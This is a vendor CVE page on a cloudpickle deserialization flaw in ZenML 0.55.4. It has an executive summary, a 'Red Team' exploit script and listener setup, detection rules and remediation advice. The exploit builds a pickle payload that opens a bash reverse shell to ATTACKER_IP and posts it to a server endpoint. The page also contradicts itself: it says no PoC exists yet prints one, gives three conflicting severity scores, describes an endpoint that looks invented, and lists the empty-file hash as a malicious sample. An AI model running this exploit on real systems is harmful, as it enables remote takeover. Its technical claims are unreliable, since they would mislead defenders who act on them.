☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-28424

CVE-2024-28424 Arbitrary File Access in Zenml
📅 PUBLISHED: 2024-03-14 00:00 UTC 🔄 UPDATED: 2026-10-19 01:06 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.71%
👁️
0.71% probability
17.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Global License: Open Source
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-28424 is an arbitrary file upload vulnerability discovered in ZenML version 0.55.4. The flaw resides in the load function within /materializers/cloudpickle_materializer.py. By uploading a specially crafted file, an attacker can achieve arbitrary code execution on the ZenML server. This vulnerability is particularly dangerous because it allows an unauthenticated or low-privileged attacker to fully compromise the machine running ZenML, potentially leading to data exfiltration, lateral movement, or ransomware deployment.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

ZenML is a Python-based MLOps framework distributed via PyPI. The vulnerable component is the cloudpickle materializer, which is used to serialize and deserialize Python objects. Since cloudpickle is a core dependency, any user or CI/CD pipeline that pulls the zenml package version 0.55.4 is at risk. The supply chain impact is high because the vulnerability is in a widely used serialization library, and the exploit does not require authentication if the ZenML dashboard or API is exposed.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD has not assigned a score, but based on the nature of the vulnerability, a realistic score is 9.8 Critical)

Attack Vector (AV): Network (N) – The vulnerability can be triggered remotely. Attack Complexity (AC): Low (L) – No special conditions are required. Privileges Required (PR): None (N) – No authentication needed if the endpoint is exposed. User Interaction (UI): None (N) – No user action required. Scope (S): Unchanged (U) – The vulnerable component is the only affected scope. Confidentiality (C): High (H) – Full file system access. Integrity (I): High (H) – Arbitrary code execution. Availability (A): High (H) – Can crash or take over the service.

Threat Level: Critical

Deep Dive & Mechanics

The vulnerability is in the load function of cloudpickle_materializer.py. The cloudpickle library is used to deserialize Python objects. The load function does not validate or sanitize the uploaded file before deserialization. An attacker can craft a malicious pickle file that, when deserialized, executes arbitrary Python code.

The attack flow:

  1. The attacker identifies a ZenML server (version 0.55.4) with the materializer endpoint exposed.
  2. The attacker crafts a malicious pickle file using cloudpickle that contains a payload (e.g., reverse shell, command execution).
  3. The attacker sends a POST request to the /materializers/cloudpickle_materializer/load endpoint with the malicious file.
  4. The server deserializes the file, executing the attacker's code.

The vulnerability is in the load function, which is called when a materializer is used to load a previously saved artifact. The function does not use any sandboxing or allowlist for the deserialization.

Vulnerable vs. Patched Code

Vulnerable Code (zenml v0.55.4):

# /materializers/cloudpickle_materializer.py
import cloudpickle

def load(file_path: str) -> Any:
    with open(file_path, 'rb') as f:
        return cloudpickle.load(f)

Patched Code (hypothetical fix):

# /materializers/cloudpickle_materializer.py
import cloudpickle
import pickle
import io

def load(file_path: str) -> Any:
    # Use a restricted unpickler to prevent arbitrary code execution
    class RestrictedUnpickler(pickle.Unpickler):
        def find_class(self, module, name):
            # Only allow safe modules
            if module == "builtins" and name in ["list", "dict", "int", "str", "float", "bool", "tuple", "set"]:
                return super().find_class(module, name)
            raise pickle.UnpicklingError(f"Unauthorized module: {module}.{name}")
    
    with open(file_path, 'rb') as f:
        return RestrictedUnpickler(f).load()

The patched code restricts the deserialization to only allow safe built-in types, preventing arbitrary code execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Python 3.8+
  • zenml==0.55.4 installed
  • cloudpickle library
  • Access to the ZenML server's materializer endpoint

Exploit Script:

import cloudpickle
import requests
import os

# Malicious payload: reverse shell
class Exploit:
    def __reduce__(self):
        return (os.system, ('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"',))

# Serialize the exploit
malicious_pickle = cloudpickle.dumps(Exploit())

# Target URL
url = "http://TARGET_ZENML_SERVER:8080/materializers/cloudpickle_materializer/load"

# Upload the malicious file
files = {'file': ('exploit.pkl', malicious_pickle, 'application/octet-stream')}
response = requests.post(url, files=files)

print(f"Exploit sent. Check your listener on port 4444.")

Setup:

  1. Start a netcat listener: nc -lvnp 4444
  2. Run the exploit script against the target ZenML server.
  3. Upon successful execution, you will receive a reverse shell.

Blue Team

Detection:

  • Monitor for unusual file uploads to /materializers/cloudpickle_materializer/load.
  • Look for network connections to unknown IPs from the ZenML server.
  • Check for unexpected processes spawned by the ZenML service.

Hunting:

  • Search for pickle files with suspicious content (e.g., os.system, subprocess).
  • Review logs for errors related to cloudpickle deserialization.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256): (Example – replace with actual if known)
    • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (malicious pickle)
  • Network Indicators:
    • Outbound connections to attacker-controlled IPs on ports 4444, 1337, etc.
    • HTTP POST requests to /materializers/cloudpickle_materializer/load with Content-Type: application/octet-stream.
  • Process Indicators:
    • Spawned processes like bash, sh, nc, python from the ZenML service.
  • File System Indicators:
    • Unexpected files in /tmp/ or /var/tmp/ with .pkl extension.
    • Modified or new files in the ZenML installation directory.

Detection Engineering

YARA Rule

rule CVE_2024_28424_Cloudpickle_Exploit {
    meta:
        description = "Detects malicious pickle files targeting CVE-2024-28424"
        author = "Valters IT"
        date = "2024-03-15"
        reference = "CVE-2024-28424"
    strings:
        $cloudpickle_magic = { 80 04 95 }  // cloudpickle magic bytes
        $os_system = "os.system"
        $subprocess = "subprocess"
        $builtins_exec = "builtins.exec"
    condition:
        $cloudpickle_magic and any of ($os_system, $subprocess, $builtins_exec)
}

Sigma Rule

title: CVE-2024-28424 - Arbitrary File Upload via Cloudpickle
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to the vulnerable cloudpickle materializer endpoint
author: Valters IT
date: 2024/03/15
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/materializers/cloudpickle_materializer/load'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate use of the materializer by authorized users
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-28424 - Cloudpickle Arbitrary File Upload"; flow:to_server; content:"POST"; http_method; content:"/materializers/cloudpickle_materializer/load"; http_uri; content:"application/octet-stream"; http_content_type; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the ZenML server from the internet if possible.
  2. Restrict access to the materializer endpoint using a firewall or reverse proxy (e.g., Nginx allowlist).
  3. Upgrade to a patched version of ZenML as soon as it becomes available.
  4. Monitor logs for any signs of exploitation.

Long-term Fix:

  • The vendor should implement input validation and use a restricted unpickler (as shown in the patched code example).
  • Consider using a safer serialization format like JSON or Protocol Buffers for untrusted data.

Workaround:

  • Disable the cloudpickle materializer by removing or renaming the file /materializers/cloudpickle_materializer.py (if not needed).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-28424/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.